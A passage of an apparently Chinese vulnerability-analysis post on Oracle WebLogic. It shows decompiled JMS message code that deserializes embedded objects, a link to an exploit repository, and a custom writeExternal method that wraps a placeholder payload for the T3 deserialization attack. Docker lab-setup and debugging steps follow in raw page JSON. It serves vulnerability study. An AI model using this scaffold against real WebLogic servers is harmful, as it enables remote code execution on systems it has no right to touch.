}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    } else {</span></code><code><span class="code-snippet_outer">        Object var5;</span></code><code><span class="code-snippet_outer">        if (this.bos != null) {</span></code><code><span class="code-snippet_outer">            var5 = this.bos;</span></code><code><span class="code-snippet_outer">        } else {</span></code><code><span class="code-snippet_outer">            if (this.payload == null) {</span></code><code><span class="code-snippet_outer">                var2.writeInt(0);</span></code><code><span class="code-snippet_outer">                return;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            var5 = this.payload;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        if ((var4 &amp; -128) != 0) {</span></code><code><span class="code-snippet_outer">            this.writeExternalCompressPayload(var2, (Payload)var5);</span></code><code><span class="code-snippet_outer">        } else {</span></code><code><span class="code-snippet_outer">            ((Payload)var5).writeLengthAndData(var2);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {</span></code><code><span class="code-snippet_outer">    super.readExternal(var1);</span></code><code><span class="code-snippet_outer">    byte var2 = var1.readByte();</span></code><code><span class="code-snippet_outer">    byte var3 = (byte)(var2 &amp; 127);</span></code><code><span class="code-snippet_outer">    if (var3 &gt;= 1 &amp;&amp; var3 &lt;= 3) {</span></code><code><span class="code-snippet_outer">        switch (var3) {</span></code><code><span class="code-snippet_outer">            case 1:</span></code><code><span class="code-snippet_outer">                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);</span></code><code><span class="code-snippet_outer">                BufferInputStream var4 = this.payload.getInputStream();</span></code><code><span class="code-snippet_outer">                ObjectInputStream var5 = new ObjectInputStream(var4);</span></code><code><span class="code-snippet_outer">                this.setBodyWritable(true);</span></code><code><span class="code-snippet_outer">                this.setPropertiesWritable(true);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                try {</span></code><code><span class="code-snippet_outer">                    while(true) {</span></code><code><span class="code-snippet_outer">                        this.writeObject(var5.readObject());</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                } catch (EOFException var9) {</span></code><code><span class="code-snippet_outer">                    try {</span></code><code><span class="code-snippet_outer">                        this.reset();</span></code><code><span class="code-snippet_outer">                        this.setPropertiesWritable(false);</span></code><code><span class="code-snippet_outer">                        PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();</span></code><code><span class="code-snippet_outer">                        this.payload = var7;</span></code><code><span class="code-snippet_outer">                    } catch (JMSException var8) {</span></code><code><span class="code-snippet_outer">                        JMSClientExceptionLogger.logStackTrace(var8);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                } catch (MessageNotWriteableException var10) {</span></code><code><span class="code-snippet_outer">                    JMSClientExceptionLogger.logStackTrace(var10);</span></code><code><span class="code-snippet_outer">                } catch (javax.jms.MessageFormatException var11) {</span></code><code><span class="code-snippet_outer">                    JMSClientExceptionLogger.logStackTrace(var11);</span></code><code><span class="code-snippet_outer">                } catch (JMSException var12) {</span></code><code><span class="code-snippet_outer">                    JMSClientExceptionLogger.logStackTrace(var12);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                break;</span></code><code><span class="code-snippet_outer">            case 3:</span></code><code><span class="code-snippet_outer">                if ((var2 &amp; -128) != 0) {</span></code><code><span class="code-snippet_outer">                    this.readExternalCompressedMessageBody(var1);</span></code><code><span class="code-snippet_outer">                    break;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            case 2:</span></code><code><span class="code-snippet_outer">                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    } else {</span></code><code><span class="code-snippet_outer">        throw JMSUtilities.versionIOException(var3, 1, 3);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-size: 15px;">参考项目代码：</span></p><p><span style="color: rgb(0, 56, 132);font-size: 15px;"><a href="https://github.com/zhzhdoai/Weblogic_Vuln" target="_blank">https://github.com/zhzhdoai/Weblogic_Vuln</a></span></p><p><span style="font-size: 15px;">自实现一个writeExternal逻辑：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeExternal</span><span class="code-snippet__params">(ObjectOutput var1)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">super</span>.writeExternal(var1);</span></code><code><span class="code-snippet_outer">    ByteArrayOutputStream var2 = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">    ObjectOutputStream var3 = <span class="code-snippet__keyword">new</span> ObjectOutputStream(var2);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">        var3.writeObject(<span class="code-snippet__string">&#34;payload_here&#34;</span>);</span></code><code><span class="code-snippet_outer">        var3.flush();</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">catch</span> (IllegalAccessException e) {</span></code><code><span class="code-snippet_outer">        e.printStackTrace();</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">catch</span> (InvocationTargetException e) {</span></code><code><span class="code-snippet_outer">        e.printStackTrace();</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">catch</span> (InstantiationException e) {</span></code><code><span class="code-snippet_outer">        e.printStackTrace();</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">catch</span> (NoSuchMethodException e) {</span></code><code><span class="code-snippet_outer">        e.printStackTrace();</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">catch</span> (ClassNotFoundException e) {</span></code><code><span class="code-snippet_outer">        e.printStackTrace();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">byte</span>[] var5 = var2.toByteArray();</span></code><code><span class="code-snippet_outer">    var1.writeByte(<span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">    var1.writeInt(var5.length);</span></code><code><span class="code-snippet_outer">    var1.write(var5);</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;text-align: left;white-space: pre-wrap;width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=1e756b1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yzhShus6yLfE1iavjJLlodIbkkUyQXvvPGLks2rRib77icVAlEV4aIWhIQ%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;text-align: left;white-space: pre-wrap;"></span></p></article><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.646804835924007" data-s="300,640" style="" data-type="png" data-w="2316" src="https://wechat2rss.xlab.app/img-proxy/?k=19428249&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21ywIicGPY4eFPpZaicF3ib8RLZWg7H3PZtVXIQ3CxPtJf825egzXH0vVJIg%2F640%3Fwx_fmt%3Dpng"/></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kB90-1673490914896&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9etu-1673490914894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;记录Weblogic漏洞分析过程，参考了很多师傅的分析文章，链接放在后记中。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oFyQ-1673490306271&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SWH1-1673490306270&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NqCj-1673490309103&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ipCq-1673490309101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;环境搭建&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1TMC-1673490962449&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kyq5-1673490962448&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;搭建环境参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AY3t-1673491068908&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oYuE-1673491068907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;k0LB-1673491048381&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/QAX-A-Team/WeblogicEnvironment&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B6nn-1673491048382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/QAX-A-Team/WeblogicEnvironment&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xAWq-1673491048394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MN0h-1673491025538&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e0Ks-1673491025537&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将对应版本的JDK与Weblogic分别放入/jdks和/weblogics目录中：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0ec7-1673491193208&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4894/WEBRESOURCEf4e134824542b9848635f4816e821f7e&#34;,&#34;width&#34;:535,&#34;height&#34;:251},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;64Fk-1673491074875&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TyTf-1673491074874&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle官网即可下载：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;31K6-1673491372095&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Efh2-1673491372094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;G4Lb-1673491398542&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.oracle.com/java/technologies/downloads/archive/&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tuui-1673491398541&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.oracle.com/java/technologies/downloads/archive/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;21j4-1673491398543&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1Qb-1673491377746&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lWtN-1673491377744&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;Gdxb-1673491405351&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yUOm-1673491405350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p069-1673491405353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHi1-1673491372913&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hq2i-1673491372911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6支持的最低JDK版本为JDK1.6， Oracle WebLogic Server 12.1.3支持的最低JDK版本为JDK1.7，Oracle WebLogic Server 12.2.1及以上支持的最低JDK版本为JDK1.8。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wRTE-1673491443864&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f6Yo-1673491443862&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Docker构建：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Tyv-1673491450914&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AWPP-1673491450913&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PQ1J-1673491447976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3ESw-1673491451298&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3qUx-1673491451297&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4l4-1673491451300&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Euem-1673491451299&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PAGA-1673491265699&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gZ6T-1673491265697&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由于Centos8已与2022年底停止维护，这里需要提前跟换yum源：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ioRW-1673491553354&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4909/WEBRESOURCE64df61f18e98bcb79d8b0f98f912edc4&#34;,&#34;width&#34;:605,&#34;height&#34;:355},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xTa1-1673491588716&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q1JR-1673491588715&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WbdW-1673490309275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN cd /etc/yum.repos.d/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IxgD-1673491597937&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iP1E-1673491597936&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN sed -i &#39;s/mirrorlist/#mirrorlist/g&#39; /etc/yum.repos.d/CentOS-*&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LVOL-1673491597939&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N8SD-1673491597938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN sed -i &#39;s|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g&#39; /etc/yum.repos.d/CentOS-*&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;37YC-1673491584697&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qwok-1673491584696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;配置远程调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W4Lc-1673491696734&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JbMC-1673491696733&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5jeO-1673491679517&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;kdir ./middleware&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZmXZ-1673491697201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gaX8-1673491697200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xvVt-1673491697205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RiTc-1673491697204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nmaL-1673491697209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W2O8-1673491697208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddTQ-1673491627410&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x5qG-1673491627409&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将docker中的主要lib目录拷贝出来，IDEA直接打开wlserver并将coherence_3.7与modules作为lib导入项目：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5M1C-1673491870518&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4922/WEBRESOURCEa5f120f434b304501a2efab26d14445a&#34;,&#34;width&#34;:1326,&#34;height&#34;:476},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rkdV-1673491584862&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rFG9-1673491584861&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时将/wlserver/server/lib目录作为lib导入：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DC8N-1673492159524&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4925/WEBRESOURCE609c5e20ad563040081ddacd597589e5&#34;,&#34;width&#34;:305,&#34;height&#34;:493},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t0ZA-1673491585004&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5jhS-1673491585003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;配置remote调试端口即可：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rNCt-1673492232548&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4930/WEBRESOURCEbbd544eff03ee1fb001e1a5a7ce37939&#34;,&#34;width&#34;:572,&#34;height&#34;:392},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h9vO-1673491585167&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QRf5-1673491585166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;启动调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JyD4-1673493026569&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4935/WEBRESOURCEd47bdc412d359d420c99b49fc71e14bc&#34;,&#34;width&#34;:2808,&#34;height&#34;:1516},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wwoa-1673493052602&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4937/WEBRESOURCEda7147dbf613e3fd4381c0e4425f5c19&#34;,&#34;width&#34;:695,&#34;height&#34;:191},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OhB4-1673505623997&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZtnD-1673505623998&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2NFu-1673493063764&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZDKD-1673493063762&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;T3协议：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ToWZ-1673493290157&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a5QT-1673493290156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic RMI是Weblogic对于Java 